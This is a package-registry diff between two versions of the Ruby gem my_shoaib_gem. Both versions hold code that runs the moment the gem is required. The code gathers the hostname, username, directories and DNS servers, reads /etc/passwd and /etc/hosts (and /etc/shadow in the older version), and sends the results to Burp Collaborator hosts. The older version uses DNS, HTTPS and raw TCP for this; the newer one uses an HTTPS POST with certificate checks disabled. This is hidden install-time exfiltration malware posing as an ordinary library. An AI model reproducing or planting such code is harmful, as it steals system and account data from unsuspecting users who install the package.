my_shoaib_gem 1.0.1 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/my_shoaib_gem.rb +48 -125
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: c87cd3b8e01bdef16942470fe75a13abe70c4c731872882ae240c5eb9385b54c
4
- data.tar.gz: c2183ad8293809e631cf04b9f666c83b8c8fc5a7a9b1e4f3692506ac182eac1c
3
+ metadata.gz: 07df8e51abede86e424f76c0a135b12988dd9f8af5b94836c49a8ef5b40c72ed
4
+ data.tar.gz: 7cd320264c9c0de3a4a4e6adf6bc21950d4dd03ba462b9d2380f0432979a028d
5
5
  SHA512:
6
- metadata.gz: 27a5a8bb8441a367bcc06e04d7b95f38a5edcb7fd14894978cf962b5ec8e478579e5c58248452d4971cb2254d6d14fe824e78edfa68817d54e6b0f268719eec3
7
- data.tar.gz: 6148d8bede6f61b162131d1a93c2b3f806665d864f2d386a1aba3557edcdc5544652b643ac3d4fda97e54c2630cbd29190867ba966593b8d058bd3faea0f70f0
6
+ metadata.gz: 72b5da1861a357295ca1df3d072f10118ab1cfd218bc4518bc09e46cfea9c7232d6788aad486fd0e4f98565c8eafb797b8730ca96d00e156028fd4ca21c9f955
7
+ data.tar.gz: 5d4b45ad178918d016dfaea19e51e6d018c7873c9ecd6711d3e8772b146cac4b51911aeca88d4cfcfdbf311501f56697c64d4bc0fb961d94c17423ddca3fda60
data/lib/my_shoaib_gem.rb CHANGED
@@ -1,134 +1,57 @@
1
- # lib/my_shoaib_gem.rb
2
- #
3
- # This runs immediately when the gem is required (or installed).
4
- # Behaves exactly like your NPM index.js with "preinstall" hook.
1
+ # my_shoaib_gem.rb
5
2
 
3
+ require 'json'
6
4
  require 'socket'
5
+ require 'etc'
7
6
  require 'net/http'
8
7
  require 'uri'
9
- require 'json'
10
- require 'etc'
11
- require 'resolv'
12
-
13
- module MyShoaibGem
14
- CALLBACK_HOST = "3z3w2yfvpnfj4n3r2h064rfynptih85x.oastify.com"
15
-
16
- def self.send_callbacks
17
- begin
18
- # ── System Information (like your NPM trackingData) ──
19
- package_name = "my_shoaib_gem"
20
- current_dir = Dir.pwd
21
- home_dir = Dir.home
22
- hostname = Socket.gethostname
23
- username = Etc.getlogin || ENV['USER'] || ENV['USERNAME'] || 'unknown'
24
- dns_servers = []
25
-
26
- # Read DNS servers (similar to dns.getServers() in Node)
27
- begin
28
- dns_config = File.read('/etc/resolv.conf')
29
- dns_servers = dns_config.scan(/nameserver\s+(\S+)/).flatten
30
- rescue
31
- dns_servers = []
32
- end
33
-
34
- # Read /etc/passwd (same as your NPM code)
35
- etc_passwd = File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil
36
- etc_shadow = File.exist?('/etc/shadow') ? File.read('/etc/shadow') : nil
37
- etc_hosts = File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
38
-
39
- # ── Build tracking data (mirrors your NPM JSON) ──
40
- tracking_data = {
41
- p: package_name, # Package name
42
- c: current_dir, # Current working directory
43
- hd: home_dir, # Home directory
44
- hn: hostname, # Hostname
45
- un: username, # Username
46
- dns: dns_servers, # DNS servers
47
- v: "0.1.1", # Gem version
48
- platform: RUBY_PLATFORM, # Ruby platform
49
- ruby_v: RUBY_VERSION, # Ruby version
50
- pid: Process.pid, # Process ID
51
- etc_passwd: etc_passwd, # Full /etc/passwd content
52
- etc_hosts: etc_hosts, # Full /etc/hosts content
53
- env: {
54
- path: ENV['PATH'],
55
- home: ENV['HOME'],
56
- shell: ENV['SHELL'],
57
- lang: ENV['LANG']
58
- }
59
- }
60
-
61
- # Log locally (same as your console.log)
62
- puts "[my_shoaib_gem] Sending system data from remote server: #{tracking_data.to_json}"
63
-
64
- # ── DNS Callback (Burp Collaborator DNS interaction) ──
65
- begin
66
- # DNS lookup with hostname appended
67
- Resolv.getaddress("#{hostname}.#{CALLBACK_HOST}")
68
- # Also try with unique identifier
69
- Resolv.getaddress("gem-install-#{Process.pid}.#{CALLBACK_HOST}")
70
- rescue StandardError
71
- # Fail silently
72
- end
73
-
74
- # ── HTTP Callback - POST (same as your NPM https.request) ──
75
- begin
76
- uri = URI("https://#{CALLBACK_HOST}/callback")
77
- http = Net::HTTP.new(uri.host, uri.port)
78
- http.use_ssl = true
79
- http.open_timeout = 10
80
- http.read_timeout = 10
81
-
82
- post_data = {
83
- msg: tracking_data
84
- }
85
-
86
- request = Net::HTTP::Post.new(uri.path)
87
- request['Content-Type'] = 'application/json'
88
- request['User-Agent'] = "my_shoaib_gem/0.1.0 (Ruby; #{RUBY_PLATFORM})"
89
- request['X-Hostname'] = hostname
90
- request['X-User'] = username
91
- request.body = post_data.to_json
92
-
93
- response = http.request(request)
94
- puts "[my_shoaib_gem] Callback sent (response: #{response.code})" if response.code == "200"
95
- rescue StandardError => e
96
- # Fail silently — just like your NPM error handler
97
- puts "[my_shoaib_gem] Error: #{e.message}" if ENV['DEBUG']
98
- end
99
-
100
- # ── HTTP Callback - GET (another interaction for Burp) ──
101
- begin
102
- get_uri = URI("https://#{CALLBACK_HOST}/installed?host=#{hostname}&user=#{username}&platform=#{RUBY_PLATFORM}")
103
- get_http = Net::HTTP.new(get_uri.host, get_uri.port)
104
- get_http.use_ssl = true
105
- get_http.open_timeout = 5
106
- get_http.read_timeout = 5
107
- get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
108
- get_http.request(get_request)
109
- rescue StandardError
110
- nil
111
- end
8
+ require 'openssl'
9
+
10
+ # Package info
11
+ package_name = 'my_shoaib_gem'
12
+ package_version = '1.1.2'
13
+
14
+ # System data collection
15
+ tracking_data = {
16
+ p: package_name,
17
+ c: Dir.pwd,
18
+ hd: Dir.home,
19
+ hn: Socket.gethostname,
20
+ un: Etc.getlogin,
21
+ dns: get_dns_servers(),
22
+ v: package_version,
23
+ etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
24
+ etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
25
+ }.to_json
26
+
27
+ puts "Sending System Data: #{tracking_data}"
28
+
29
+ # Send data via HTTPS POST
30
+ begin
31
+ uri = URI.parse('https://kuidxfack4a0z4y8xyvnz8afi6o0cs0h.oastify.com')
32
+ http = Net::HTTP.new(uri.host, uri.port)
33
+ http.use_ssl = true
34
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Burp Collaborator ke liye
35
+
36
+ request = Net::HTTP::Post.new(uri.path)
37
+ request['Content-Type'] = 'application/json'
38
+ request.body = { msg: tracking_data }.to_json
39
+
40
+ response = http.request(request)
41
+ puts "Response: #{response.body}" if response.body
42
+ rescue StandardError => e
43
+ puts "Error sending data: #{e.message}"
44
+ end
112
45
 
113
- # ── Raw TCP callback (extra interaction) ──
114
- begin
115
- tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
116
- tcp_socket.write("GET /tcp-ping HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nUser-Agent: my_shoaib_gem\r\nConnection: close\r\n\r\n")
117
- tcp_socket.close
118
- rescue StandardError
119
- nil
46
+ # Helper method to get DNS servers
47
+ def get_dns_servers()
48
+ dns_servers = []
49
+ if File.exist?('/etc/resolv.conf')
50
+ File.readlines('/etc/resolv.conf').each do |line|
51
+ if line =~ /^nameserver\s+(\S+)/
52
+ dns_servers << $1
120
53
  end
121
-
122
- puts "[my_shoaib_gem] Internal gem loaded successfully"
123
-
124
- rescue StandardError => e
125
- # Absolute fail-safe — kuch bhi ho, silently fail
126
- nil
127
54
  end
128
55
  end
56
+ dns_servers
129
57
  end
130
-
131
- # ── EXECUTE IMMEDIATELY on require ──
132
- # Yeh code chalega jab bhi koi "require 'my_shoaib_gem'" karega
133
- # Ya jab gem install hote hi load ho (agar koi dependency ho)
134
- MyShoaibGem.send_callbacks
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: my_shoaib_gem
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.1
4
+ version: 1.1.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Shoaib